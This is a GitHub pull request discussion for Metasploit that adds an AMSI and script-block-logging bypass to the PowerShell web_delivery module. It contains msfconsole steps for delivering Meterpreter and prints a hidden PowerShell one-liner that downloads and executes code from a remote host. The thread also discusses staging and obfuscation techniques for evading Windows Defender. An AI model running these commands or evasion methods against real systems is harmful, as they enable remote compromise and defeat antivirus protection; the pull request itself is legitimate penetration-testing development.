Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Add support for AMSI/SBL bypass to PSH web_delivery #12446

Merged
merged 13 commits into from
Dec 9, 2019
Merged

Conversation

phra
Copy link
Contributor

@phra phra commented Oct 12, 2019

Related to rapid7/rex-powershell#17
Requires rapid7/rex-powershell#19

Verification

List the steps needed to make sure this thing works

  • Start msfconsole
  • use exploit/multi/script/web_delivery
  • set payload windows/x64/meterpreter/reverse_https
  • set LHOST ...
  • set SSL true
  • exploit -j
  • Meterpreter is delivered to updated Windows machines

Example of generated command:

powershell.exe -nop -w hidden -c [Net.ServicePointManager]::SecurityProtocol=[Net.SecurityProtocolType]::Tls12;[System.Net.ServicePointManager]::ServerCertificateValidationCallback={$true};$A=new-object net.webclient;$A.proxy=[Net.WebRequest]::GetSystemWebProxy();$A.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $A.downloadstring('https://10.10.14.18:9999/UBbXnfVXjpR');

@timwr
Copy link
Contributor

timwr commented Oct 15, 2019

Looks good and the bypass is included in web_delivery. Is there an easy way of testing the effect on AMSI? It seems to work the same way before and after this change.

@timwr
Copy link
Contributor

timwr commented Oct 15, 2019

Just to be clear I'm testing on Windows 10 x64, I think the Windows defender signatures were last updated in August. With Windows defender real time protection enabled web_delivery is detected as "TrojanDropper:PowerShell/Ploty.C" (perhaps because of the base64/gzip encoding?) both before and after this change.
Without real time protection enabled I can get a session both before and after this change.

@phra
Copy link
Contributor Author

phra commented Oct 15, 2019

yeah i noticed too that recently something was changed with defender. i spent 5 hours yesterday implementing a launcher for the web delivery a là empire to then discover that something was detected in the randomcase version of the amsi bypass.

however i found already a way to bypass it again but i think that we would need to ship the amsi bypass as first stage before any other code. it would be easy to attach it to the launcher command generated by the web delivery but atm the stager generated at the first request invokes powershell.exe again, making useless any prior bypass. i ended up digging into obfuscating the amsi bypass and prepending it to the stage2 but amsi was flagging some random case keywords..

the only way to make it work is to ship the amsi bypass alone at the beginning:

  1. web delivery payload is executed (stage0)
  2. stage0 retrieve the amsi payload (stage1)
  3. after stage1 is executed, the real psh payload is retrieved (stage2)

stage1 and stage2 must be executed separately, in the same powershell process, in this order.

any idea how to ship separately the amsi bypass and/or how to disable the nested powershell.exe invocation?

@timwr
Copy link
Contributor

timwr commented Oct 16, 2019

I think that's the technique used in unicorn: https://github.com/trustedsec/unicorn which bypasses AMSI for me (although meterpreter itself is still detected).
Alternatively could we (obfuscate and?) invoke the AMSI bypass before it flags stage1?

@timwr
Copy link
Contributor

timwr commented Oct 16, 2019

Please see: phra/rex-powershell#2
It prepends the amfi bypass before the gzip compression bit (on stage1), which works for me on Windows 10 with real time protection enabled.

@phra
Copy link
Contributor Author

phra commented Oct 30, 2019

@timwr i am going to check this PR in the following days, sorry for the delay.

@phra
Copy link
Contributor Author

phra commented Oct 31, 2019

@timwr LGTM. i fixed something and now it's fully working for me. can you try it too? thanks. (requires rapid7/rex-powershell#19)

@phra
Copy link
Contributor Author

phra commented Nov 1, 2019

i noticed that amsi/sbl bypass + msf stager, when :encode_final_payload is enabled, it doesn't fit the 8192 limit of cmd.exe. btw it sometimes works when setting Powershell::method to old. e.g. powershell -e AyAsd... that could have been handy for psh-cmd stagers with amsi support.

@phra
Copy link
Contributor Author

phra commented Nov 3, 2019

set Powershell::remove_comspec true and set Powershell::exec_in_place true are currently needed to make the module work without changing the defaults. (due to 099054d)

@phra
Copy link
Contributor Author

phra commented Nov 4, 2019

with set Powershell::encode_final_payload true it will now produce an encoded launcher:

image

@phra phra requested a review from timwr November 4, 2019 23:44
@timwr
Copy link
Contributor

timwr commented Nov 5, 2019

fyi this works great with both encode_final_payload as true and false with Windows defender enabled and updated.

Since `Powershell::encode_final_payload` and `Powershell::encode_inner_payload` are already used in `cmd_psh_payload`, so it's better to have a dedicated option for the encoded launcher.
@phra phra requested a review from timwr November 5, 2019 12:12
Copy link
Contributor Author

@phra phra left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

LGTM.

Copy link
Contributor

@timwr timwr left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

This is looking good. I will merge this next week unless anyone can spot any breakages.

remove unnecessary override
@phra
Copy link
Contributor Author

phra commented Nov 6, 2019

Awesome!

@timwr
Copy link
Contributor

timwr commented Dec 9, 2019

Release Notes

This change adds support for a powershell AMSI bypass which enables the web_delivery module to bypass Windows defender on Windows 10.

@phra
Copy link
Contributor Author

phra commented Dec 9, 2019

:shipit:

@tperry-r7 tperry-r7 added the rn-enhancement release notes enhancement label Jan 14, 2020
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
Projects
None yet
Development

Successfully merging this pull request may close these issues.

None yet

4 participants